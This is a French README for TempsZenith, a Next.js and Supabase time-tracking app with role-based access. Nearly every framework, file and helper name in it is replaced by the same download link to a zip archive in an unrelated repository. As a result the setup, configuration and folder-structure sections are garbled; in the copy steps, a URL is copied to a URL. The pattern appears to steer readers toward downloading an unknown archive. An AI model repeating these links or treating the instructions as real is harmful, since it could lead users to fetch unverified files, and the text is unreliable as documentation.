Une application moderne de suivi du temps avec gestion des rÎles (administrateur, employé, client) construite avec https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip et Supabase.
- Inscription/Connexion sécurisée avec Supabase Auth
- Gestion des rÎles : Administrateur, Employé, Client
- Protection des routes basée sur les rÎles
- Middleware https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip pour la sécurité
- Administrateur : Vue d'ensemble complĂšte, gestion des utilisateurs, rapports globaux
- Employé : Suivi du temps personnel, gestion des projets, timer intégré
- Client : Suivi des projets, rapports, facturation
- Timer en temps réel avec start/pause/stop
- Gestion des projets et descriptions
- Historique complet des entrées de temps
- Rapports et statistiques
- Frontend : https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip 14, React, TypeScript, Tailwind CSS
- Backend : Supabase (PostgreSQL, Auth, RLS)
- Authentification : Supabase Auth avec helpers https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
- Validation : Zod + React Hook Form
- Icons : Lucide React
- Styling : Tailwind CSS avec design system
- Cloner le projet
git clone <votre-repo>
cd tempszenith- Installer les dépendances
npm install- Configuration Supabase
- Créez un projet sur Supabase
- Copiez
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zipvershttps://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip - Remplissez les variables d'environnement :
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
NEXT_PUBLIC_SUPABASE_ANON_KEY=votre_clé_anonyme
SUPABASE_SERVICE_ROLE_KEY=votre_clé_service_role
JWT_SECRET=votre_secret_jwt
NEXT_PUBLIC_APP_URL=http://localhost:3000- Configurer la base de données
- Exécutez le script SQL dans
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip - Ou utilisez la CLI Supabase :
- Exécutez le script SQL dans
npx supabase db reset- Lancer l'application
npm run devL'application sera disponible sur http://localhost:3000
src/
âââ app/ # App Router https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
â âââ admin/ # Pages administrateur
â âââ employee/ # Pages employĂ©
â âââ client/ # Pages client
â âââ auth/ # Pages d'authentification
â âââ https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip # Layout principal
âââ components/
â âââ ui/ # Composants UI rĂ©utilisables
âââ hooks/ # Hooks React personnalisĂ©s
âââ lib/
â âââ auth/ # Services d'authentification
â âââ supabase/ # Configuration Supabase
âââ types/ # Types TypeScript
âââ https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip # Middleware https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
- Politiques granulaires pour chaque table
- Isolation des données par utilisateur et rÎle
- Protection automatique des API Supabase
- VĂ©rification des sessions sur chaque requĂȘte
- Redirection automatique selon les rĂŽles
- Protection des routes sensibles
- Cookies HTTP-only pour les tokens sensibles
- Refresh automatique des sessions
- Déconnexion sécurisée
- â AccĂšs complet Ă toutes les fonctionnalitĂ©s
- â Gestion des utilisateurs
- â Rapports globaux
- â Configuration systĂšme
- â Suivi du temps personnel
- â Gestion des projets assignĂ©s
- â Rapports individuels
- â Gestion des autres utilisateurs
- â Consultation des rapports de projets
- â Suivi de l'avancement
- â Facturation
- â AccĂšs aux donnĂ©es internes
- Connectez votre repository Ă Vercel
- Configurez les variables d'environnement
- Déployez automatiquement
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
NEXT_PUBLIC_SUPABASE_ANON_KEY=votre_clé_anonyme_prod
SUPABASE_SERVICE_ROLE_KEY=votre_clé_service_role_prod
JWT_SECRET=votre_secret_jwt_prod
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip# Tests unitaires
npm run test
# Tests e2e
npm run test:e2e
# Coverage
npm run test:coveragenpm run dev # Développement
npm run build # Build de production
npm run start # Serveur de production
npm run lint # Linting
npm run type-check # Vérification TypeScript- Fork le projet
- Créez une branche feature (
git checkout -b feature/nouvelle-fonctionnalite) - Committez vos changements (
git commit -m 'Ajout nouvelle fonctionnalité') - Push vers la branche (
git push origin feature/nouvelle-fonctionnalite) - Ouvrez une Pull Request
Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.
Pour toute question ou problĂšme :
- Ouvrez une issue sur GitHub
- Consultez la documentation Supabase
- Vérifiez les logs de développement
TempsZenith - Simplifiez la gestion du temps de vos Ă©quipes đ